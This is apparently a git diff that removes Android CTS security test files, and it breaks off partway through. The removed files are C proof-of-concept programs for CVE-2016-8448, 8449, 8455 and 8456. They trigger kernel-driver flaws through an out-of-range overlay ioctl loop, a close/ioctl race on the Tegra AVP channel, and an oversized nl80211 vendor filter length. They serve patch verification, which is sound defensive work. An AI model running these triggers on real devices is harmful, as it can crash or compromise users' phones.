-
- typedef enum {
- DISPIF_MODE_VIDEO = 0,
- DISPIF_MODE_COMMAND
- } MTKFB_DISPIF_MODE;
-
- typedef struct mtk_dispif_info {
- unsigned int display_id;
- unsigned int isHwVsyncAvailable;
- MTKFB_DISPIF_TYPE displayType;
- unsigned int displayWidth;
- unsigned int displayHeight;
- unsigned int displayFormat;
- MTKFB_DISPIF_MODE displayMode;
- unsigned int vsyncFPS;
- unsigned int physicalWidth;
- unsigned int physicalHeight;
- unsigned int isConnected;
-/* this value is for DFO Multi-Resolution feature, which stores the original LCM Wdith */
- unsigned int lcmOriginalWidth;
-/* this value is for DFO Multi-Resolution feature, which stores the original LCM Height */
- unsigned int lcmOriginalHeight;
- } mtk_dispif_info_t;
-
-#define MAKE_MTK_FB_FORMAT_ID(id, bpp) (((id) << 8) | (bpp))
-
- typedef enum {
- MTK_FB_FORMAT_UNKNOWN = 0,
-
- MTK_FB_FORMAT_RGB565 = MAKE_MTK_FB_FORMAT_ID(1, 2),
- MTK_FB_FORMAT_RGB888 = MAKE_MTK_FB_FORMAT_ID(2, 3),
- MTK_FB_FORMAT_BGR888 = MAKE_MTK_FB_FORMAT_ID(3, 3),
- MTK_FB_FORMAT_ARGB8888 = MAKE_MTK_FB_FORMAT_ID(4, 4),
- MTK_FB_FORMAT_ABGR8888 = MAKE_MTK_FB_FORMAT_ID(5, 4),
- MTK_FB_FORMAT_YUV422 = MAKE_MTK_FB_FORMAT_ID(6, 2),
- MTK_FB_FORMAT_XRGB8888 = MAKE_MTK_FB_FORMAT_ID(7, 4),
- MTK_FB_FORMAT_XBGR8888 = MAKE_MTK_FB_FORMAT_ID(8, 4),
- MTK_FB_FORMAT_UYVY = MAKE_MTK_FB_FORMAT_ID(9, 2),
- MTK_FB_FORMAT_YUV420_P = MAKE_MTK_FB_FORMAT_ID(10, 2),
- MTK_FB_FORMAT_YUY2 = MAKE_MTK_FB_FORMAT_ID(11, 2),
- MTK_FB_FORMAT_BPP_MASK = 0xFF,
- } MTK_FB_FORMAT;
-
-#define GET_MTK_FB_FORMAT_BPP(f) ((f) & MTK_FB_FORMAT_BPP_MASK)
-
-
-#ifdef __cplusplus
-}
-#endif
-#endif /* __DISP_DRV_H__ */
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
deleted file mode 100644
index e5f675b..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8448/poc.c
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#include <sys/mman.h>
-#include <fcntl.h>
-//#include <pthread.h>
-#include <sys/prctl.h>
-#include <unistd.h>
-#include <stdbool.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <asm-generic/ioctl.h>
-#include "mtkfb.h"
-int main(int argc, char **argv) {
- int fd = 0;
- struct fb_overlay_layer layerInfo;
- memset(&layerInfo, 0, sizeof(layerInfo));
- fd = open("/dev/graphics/fb0", O_RDWR);
- if (fd < 0) {
- perror("open /dev/graphics/fb0");
- exit(-1);
- }
- printf("Device file opened successfully\n");
- printf("Trying to get layer info\n");
- if(ioctl(fd, MTKFB_GET_OVERLAY_LAYER_INFO, &layerInfo) == -1) {
- perror("ioctl MTKFB_GET_OVERLAY_LAYER_INFO failed");
- exit(-2);
- }
- printf("Got layer info\n");
- printf("Trying to set layer info\n");
- // set any huge value here
- int curr_val = 0xf1111111;
- while(1) {
- layerInfo.layer_id = curr_val;
- if(ioctl(fd, MTKFB_SET_OVERLAY_LAYER, &layerInfo) == -1) {
- perror("ioctl MTKFB_SET_OVERLAY_LAYER failed");
- //exit(-2);
- }
- curr_val--;
- if(curr_val == -1) {
- break;
- }
- }
- printf("Set layer info\n");
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
deleted file mode 100644
index 72129c2..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8449/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8449
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS := -Wno-unused-parameter -Wall -Werror
-LOCAL_CFLAGS += -Wno-unused-variable
-LOCAL_LDFLAGS += -fPIE -pie
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
deleted file mode 100755
index 1e76b55..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8449/poc.c
+++ /dev/null
@@ -1,143 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-#define _GNU_SOURCE
-#include <stdio.h>
-#include <string.h>
-#include <errno.h>
-#include <stdlib.h>
-#include <pthread.h>
-#include <sys/ioctl.h>
-#include <sys/mman.h>
-#include <errno.h>
-#include <sys/stat.h>
-#include <fcntl.h>
-#include <sched.h>
-#include <sys/types.h>
-#include <signal.h>
-#include <unistd.h>
-
-#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
-#define ERR(fmt, ...) printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
-#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
-#define CLOSE_THREAD_NUM 100
-#define TRY_TIMES 900
-
-#define DEV "/dev/tegra_avpchannel"
-
-#define NVAVP_IOCTL_MAGIC 'n'
-
-struct nvavp_channel_open_args {
- __u32 channel_fd;
-};
-
-#define NVAVP_IOCTL_CHANNEL_OPEN _IOR(NVAVP_IOCTL_MAGIC, 0x73, \
- struct nvavp_channel_open_args)
-
-int fd;
-pthread_t close_thread_id[CLOSE_THREAD_NUM] = { 0 };
-
-static int set_affinity(int num)
-{
- int ret = 0;
- cpu_set_t mask;
- CPU_ZERO(&mask);
- CPU_SET(num, &mask);
- ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
- if(ret == -1){
- ERR("[-] set affinity failed");
- }
- return ret;
-}
-
-volatile int target_fd;
-volatile int attack;
-void* close_thread(void* no_use)
-{
- set_affinity(1);
-
- while(attack){
- close(target_fd);
- }
-
- return NULL;
-}
-
-int main()
-{
- int i, try_time = TRY_TIMES, ret;
- struct nvavp_channel_open_args o_args = { 0 };
-
- /* bind_cpu */
- set_affinity(0);
-
- /* open dev */
- fd = open(DEV, O_RDONLY);
- if(fd == -1){
- ERR("[-] open failed");
- return 0;
- } else {
- LOG("[+] open OK");
- }
-
- #if 1
- ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
- if(ret == -1) {
- ERR("[-] ioctl failed");
- goto out_dev;
- } else {
- LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
- }
-
- target_fd = o_args.channel_fd;
- #endif
-
- /* create close thread */
- #if 1
- attack = 1;
- for(i = 0; i < CLOSE_THREAD_NUM; i++){
- ret = pthread_create(close_thread_id + i, NULL, close_thread, NULL);
- if(ret){
- ERR("[-] create close thread %d failed", i);
- goto out_close_thread;
- }
- }
- #endif
-
- #if 1
- for(i = 0; i < TRY_TIMES; i++){
- LOG("[+] %03d times", i);
- /* open */
- ret = ioctl(fd, NVAVP_IOCTL_CHANNEL_OPEN, &o_args);
- if(ret == -1) {
- ERR("[-] ioctl failed");
- } else {
- LOG("[+] ioctl OK, fd = %d", o_args.channel_fd);
- }
- //usleep(200);
- }
- #endif
-
-out_close_thread:
- attack = 0;
- /* kill close thread */
- for(i = 0; i < CLOSE_THREAD_NUM; i++){
- if(close_thread_id[i])
- pthread_join(close_thread_id[i], NULL);
- }
-out_dev:
- close(fd);
- return 0;
-}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk
deleted file mode 100644
index 5ec4302..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8455/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8455
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-
-LOCAL_C_INCLUDES := external/libnl/include
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c
deleted file mode 100644
index 1f58e23..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8455/poc.c
+++ /dev/null
@@ -1,318 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 2048
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
- unsigned int groupid;
- unsigned int countables;
- unsigned int count;
- unsigned int max_counters;
- unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
- unsigned int groupid;
- unsigned int countable;
- unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
- _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
- unsigned int reads;
- unsigned int count;
- unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
- WLAN_HDD_TM_ATTR_INVALID = 0,
- WLAN_HDD_TM_ATTR_CMD = 1,
- WLAN_HDD_TM_ATTR_DATA = 2,
- WLAN_HDD_TM_ATTR_STREAM_ID = 3,
- WLAN_HDD_TM_ATTR_TYPE = 4,
- /* keep last */
- WLAN_HDD_TM_ATTR_AFTER_LAST,
- WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
- WLAN_HDD_TM_CMD_WLAN_FTM = 0,
- WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
- /* don't use 0 as a valid subcommand */
- VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
- /* define all vendor startup commands between 0x0 and 0x0FFF */
- VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
- VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
- /* define all GScan related commands between 0x1000 and 0x10FF */
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
- /* define all RTT related commands between 0x1100 and 0x11FF */
- ANDROID_NL80211_SUBCMD_RTT_RANGE_START = 0x1100,
- ANDROID_NL80211_SUBCMD_RTT_RANGE_END = 0x11FF,
-
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START = 0x1200,
- ANDROID_NL80211_SUBCMD_LSTATS_RANGE_END = 0x12FF,
-
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_START = 0x1300,
- ANDROID_NL80211_SUBCMD_TDLS_RANGE_END = 0x13FF,
-
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START = 0x1400,
- ANDROID_NL80211_SUBCMD_DEBUG_RANGE_END = 0x14FF,
-
- /* define all NearbyDiscovery related commands between 0x1500 and 0x15FF */
- ANDROID_NL80211_SUBCMD_NBD_RANGE_START = 0x1500,
- ANDROID_NL80211_SUBCMD_NBD_RANGE_END = 0x15FF,
-
- /* define all wifi calling related commands between 0x1600 and 0x16FF */
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START = 0x1600,
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_END = 0x16FF,
-
- /* define all NAN related commands between 0x1700 and 0x17FF */
- ANDROID_NL80211_SUBCMD_NAN_RANGE_START = 0x1700,
- ANDROID_NL80211_SUBCMD_NAN_RANGE_END = 0x17FF,
-
- /* define all packet filter related commands between 0x1800 and 0x18FF */
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START = 0x1800,
- ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_END = 0x18FF,
-
- /* This is reserved for future usage */
-
-} ANDROID_VENDOR_SUB_COMMAND;
-
-enum wl_vendor_subcmd {
- BRCM_VENDOR_SCMD_UNSPEC,
- BRCM_VENDOR_SCMD_PRIV_STR,
- GSCAN_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START,
- GSCAN_SUBCMD_SET_CONFIG,
- GSCAN_SUBCMD_SET_SCAN_CONFIG,
- GSCAN_SUBCMD_ENABLE_GSCAN,
- GSCAN_SUBCMD_GET_SCAN_RESULTS,
- GSCAN_SUBCMD_SCAN_RESULTS,
- GSCAN_SUBCMD_SET_HOTLIST,
- GSCAN_SUBCMD_SET_SIGNIFICANT_CHANGE_CONFIG,
- GSCAN_SUBCMD_ENABLE_FULL_SCAN_RESULTS,
- GSCAN_SUBCMD_GET_CHANNEL_LIST,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET,
- ANDR_WIFI_SUBCMD_GET_FEATURE_SET_MATRIX,
- ANDR_WIFI_RANDOM_MAC_OUI,
- ANDR_WIFI_NODFS_CHANNELS,
- ANDR_WIFI_SET_COUNTRY,
- GSCAN_SUBCMD_SET_EPNO_SSID,
- WIFI_SUBCMD_SET_SSID_WHITELIST,
- WIFI_SUBCMD_SET_LAZY_ROAM_PARAMS,
- WIFI_SUBCMD_ENABLE_LAZY_ROAM,
- WIFI_SUBCMD_SET_BSSID_PREF,
- WIFI_SUBCMD_SET_BSSID_BLACKLIST,
- GSCAN_SUBCMD_ANQPO_CONFIG,
- WIFI_SUBCMD_SET_RSSI_MONITOR,
- WIFI_SUBCMD_CONFIG_ND_OFFLOAD,
- RTT_SUBCMD_SET_CONFIG = ANDROID_NL80211_SUBCMD_RTT_RANGE_START,
- RTT_SUBCMD_CANCEL_CONFIG,
- RTT_SUBCMD_GETCAPABILITY,
- RTT_SUBCMD_GETAVAILCHANNEL,
- RTT_SUBCMD_SET_RESPONDER,
- RTT_SUBCMD_CANCEL_RESPONDER,
- LSTATS_SUBCMD_GET_INFO = ANDROID_NL80211_SUBCMD_LSTATS_RANGE_START,
- DEBUG_START_LOGGING = ANDROID_NL80211_SUBCMD_DEBUG_RANGE_START,
- DEBUG_TRIGGER_MEM_DUMP,
- DEBUG_GET_MEM_DUMP,
- DEBUG_GET_VER,
- DEBUG_GET_RING_STATUS,
- DEBUG_GET_RING_DATA,
- DEBUG_GET_FEATURE,
- DEBUG_RESET_LOGGING,
- DEBUG_TRIGGER_DRIVER_MEM_DUMP,
- DEBUG_GET_DRIVER_MEM_DUMP,
- DEBUG_START_PKT_FATE_MONITORING,
- DEBUG_GET_TX_PKT_FATES,
- DEBUG_GET_RX_PKT_FATES,
- DEBUG_GET_WAKE_REASON_STATS,
- WIFI_OFFLOAD_SUBCMD_START_MKEEP_ALIVE =
- ANDROID_NL80211_SUBCMD_WIFI_OFFLOAD_RANGE_START,
- WIFI_OFFLOAD_SUBCMD_STOP_MKEEP_ALIVE,
- APF_SUBCMD_GET_CAPABILITIES = ANDROID_NL80211_SUBCMD_PKT_FILTER_RANGE_START,
- APF_SUBCMD_SET_FILTER,
- /* Add more sub commands here */
- VENDOR_SUBCMD_MAX
-};
-
-#define QCA_NL80211_VENDOR_ID 0x001374
-#define QCA_NL80211_VENDOR_SUBCMD_EXTSCAN_PNO_SET_PASSPOINT_LIST 70
-#define QCA_WLAN_VENDOR_ATTR_PNO_PASSPOINT_LIST_PARAM_NUM 1
-#define QCA_NL80211_VENDOR_SUBCMD_PACKET_FILTER 83
-
-#define BPF_SET_RESET 1
-#define BPF_FILTER_ID 3
-#define BPF_PACKET_SIZE 4
-#define BPF_PROGRAM 6
-#define QCA_WLAN_GET_PACKET_FILTER 2
-
-#define GSCAN_ATTRIBUTE_NUM_BUCKETS 10
-#define GSCAN_ATTRIBUTE_CH_BUCKET_1 0
-#define GSCAN_ATTRIBUTE_BUCKET_NUM_CHANNELS 15
-
-#define RTT_ATTRIBUTE_TARGET_CNT 0
-#define RTT_ATTRIBUTE_TARGET_CHAN 5
-#define RTT_ATTRIBUTE_TARGET_INFO 1
-
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID 80
-#define GSCAN_ATTRIBUTE_NUM_WL_SSID 81
-#define GSCAN_ATTRIBUTE_WHITELIST_SSID_ELEM 84
-typedef int wifi_channel;
-typedef int wifi_channel_width_t;
-typedef struct wifi_channel_info {
- wifi_channel_width_t width;
- wifi_channel center_freq; /* primary 20 MHz channel */
- wifi_channel center_freq0; /* center freq (MHz) first segment */
- wifi_channel
- center_freq1; /* center freq (MHz) second segment valid for 80 + 80 */
-} wifi_channel_info_t;
-
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST_SIZE 111
-#define GSCAN_ATTRIBUTE_ANQPO_HS_LIST 110
-#define GSCAN_ATTRIBUTE_ANQPO_HS_ROAM_CONSORTIUM_ID 114
-#define GSCAN_ATTRIBUTE_ANQPO_HS_NAI_REALM 113
-
-#define APF_ATTRIBUTE_PROGRAM_LEN 3
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version);
-int test(void);
-
-int send_testmode(u_int16_t nlmsg_type, u_int32_t nlmsg_pid, u_int8_t genl_cmd,
- u_int8_t genl_version) {
- struct nl_msg *msg;
- int ret = -1;
- unsigned char dst[ETH_ALEN];
- struct nlattr *rret;
- struct nlattr *rret2;
- struct nlattr *rret3;
- struct nlattr *rret4;
- unsigned char buf_test[256];
-
- int i = 0;
-
- wifi_channel_info_t c_info;
-
- unsigned char hb_params[512];
-#define DOT11_MAX_SSID_LEN 32
- unsigned char SSID11[DOT11_MAX_SSID_LEN];
- struct nl80211_sta_flag_update flags;
-
- msg = nlmsg_alloc();
- int if_index = if_nametoindex("wlan0");
-
-#define OUI_GOOGLE 0x001A11
-
- genlmsg_put(msg, nlmsg_pid, 0, nlmsg_type, 0, 0, genl_cmd, genl_version);
-
- nla_put_u32(msg, NL80211_ATTR_IFINDEX, if_index);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_ID, OUI_GOOGLE);
-
- nla_put_u32(msg, NL80211_ATTR_VENDOR_SUBCMD, APF_SUBCMD_SET_FILTER);
-
- rret = nla_nest_start(msg, NL80211_ATTR_VENDOR_DATA);
-
- if (!rret) {
- return 1;
- }
-
- nla_put_u32(msg, APF_ATTRIBUTE_PROGRAM_LEN, 0xffffffff);
-
- nla_nest_end(msg, rret);
-
- ret = nl_send_auto_complete(nl_sk, msg);
-
- return 0;
-}
-
-#define AID_INET 3003 /* can create AF_INET and AF_INET6 sockets */
-#define AID_NET_RAW 3004 /* can create raw INET sockets */
-#define AID_NET_ADMIN 3005
-
-int test() {
- int fd = 0;
- int i = 0;
- int j = 0;
- int ret = 0;
- char *mem;
- int family_id = 0;
- struct audio_cal_basic *acb;
- struct sockaddr_nl saddr;
- int test = 0x1234;
-
- gid_t gid_groups[] = {AID_INET, AID_NET_ADMIN};
- setgroups(sizeof(gid_groups) / sizeof(gid_groups[0]), gid_groups);
-
- setuid(2000);
-
- nl_sk = nl_socket_alloc();
- ret = genl_connect(nl_sk);
- if (ret != 0) {
- return -1;
- }
-
- family_id = genl_ctrl_resolve(nl_sk, "nl80211");
-
- ret = send_testmode(family_id, getpid(), NL80211_CMD_VENDOR, 1);
-
- return 0;
-}
-
-int main(int argc, char *argv[]) { return test(); }
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk
deleted file mode 100644
index 75688b5..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8456/Android.mk
+++ /dev/null
@@ -1,37 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_MODULE := CVE-2016-8456
-LOCAL_SRC_FILES := poc.c
-LOCAL_MULTILIB := both
-LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
-LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_SHARED_LIBRARIES := libnl
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts
-LOCAL_CTS_TEST_PACKAGE := android.security.cts
-
-LOCAL_ARM_MODE := arm
-LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
-LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
-LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
-LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
-LOCAL_CFLAGS += -Iinclude -fPIE
-LOCAL_LDFLAGS += -fPIE -pie
-LOCAL_LDFLAGS += -rdynamic
-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c
deleted file mode 100644
index 9367c45..0000000
--- a/hostsidetests/security/securityPatch/CVE-2016-8456/poc.c
+++ /dev/null
@@ -1,313 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <dlfcn.h>
-#include <errno.h>
-#include <limits.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <jni.h>
-#include <android/log.h>
-#include <sys/socket.h>
-#include <linux/netlink.h>
-#include <linux/genetlink.h>
-#include <string.h>
-#include <unistd.h>
-#include <fcntl.h>
-#include <errno.h>
-#include <dirent.h>
-#include <sys/stat.h>
-#include <sys/types.h>
-#include <sys/ioctl.h>
-#include <net/if.h>
-#include <sys/types.h>
-#include <netlink/msg.h>
-#include <netlink/genl/genl.h>
-#include <netlink/genl/ctrl.h>
-#include <linux/nl80211.h>
-
-#define MAX_MSG_SIZE 1024
-#define GENLMSG_DATA(glh) ((void *)(NLMSG_DATA(glh) + GENL_HDRLEN))
-#define NLA_DATA(na) ((void *)((char *)(na) + NLA_HDRLEN))
-
-struct kgsl_perfcounter_query_compat {
- unsigned int groupid;
- unsigned int countables;
- unsigned int count;
- unsigned int max_counters;
- unsigned int __pad[2];
-};
-struct kgsl_perfcounter_read_group {
- unsigned int groupid;
- unsigned int countable;
- unsigned long long value;
-};
-#define IOCTL_KGSL_PERFCOUNTER_QUERY_COMPAT \
- _IOWR(KGSL_IOC_TYPE, 0x3A, struct kgsl_perfcounter_query_compat)
-
-struct kgsl_perfcounter_read_compat {
- unsigned int reads;
- unsigned int count;
- unsigned int __pad[2];
-};
-
-#define CAL_IOCTL_MAGIC 'a'
-
-#define AUDIO_GET_CALIBRATION _IOWR(CAL_IOCTL_MAGIC, 204, void *)
-
-#define NL80211_ATTR_MAC 6
-#define ETH_ALEN 6
-
-struct nl_sock *nl_sk;
-#define NL80211_ATTR_IFINDEX 3
-enum wlan_hdd_tm_attr {
- WLAN_HDD_TM_ATTR_INVALID = 0,
- WLAN_HDD_TM_ATTR_CMD = 1,
- WLAN_HDD_TM_ATTR_DATA = 2,
- WLAN_HDD_TM_ATTR_STREAM_ID = 3,
- WLAN_HDD_TM_ATTR_TYPE = 4,
- /* keep last */
- WLAN_HDD_TM_ATTR_AFTER_LAST,
- WLAN_HDD_TM_ATTR_MAX = WLAN_HDD_TM_ATTR_AFTER_LAST - 1,
-};
-
-enum wlan_hdd_tm_cmd {
- WLAN_HDD_TM_CMD_WLAN_FTM = 0,
- WLAN_HDD_TM_CMD_WLAN_HB = 1,
-};
-
-typedef enum {
- /* don't use 0 as a valid subcommand */
- VENDOR_NL80211_SUBCMD_UNSPECIFIED,
-
- /* define all vendor startup commands between 0x0 and 0x0FFF */
- VENDOR_NL80211_SUBCMD_RANGE_START = 0x0001,
- VENDOR_NL80211_SUBCMD_RANGE_END = 0x0FFF,
-
- /* define all GScan related commands between 0x1000 and 0x10FF */
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_START = 0x1000,
- ANDROID_NL80211_SUBCMD_GSCAN_RANGE_END = 0x10FF,
-
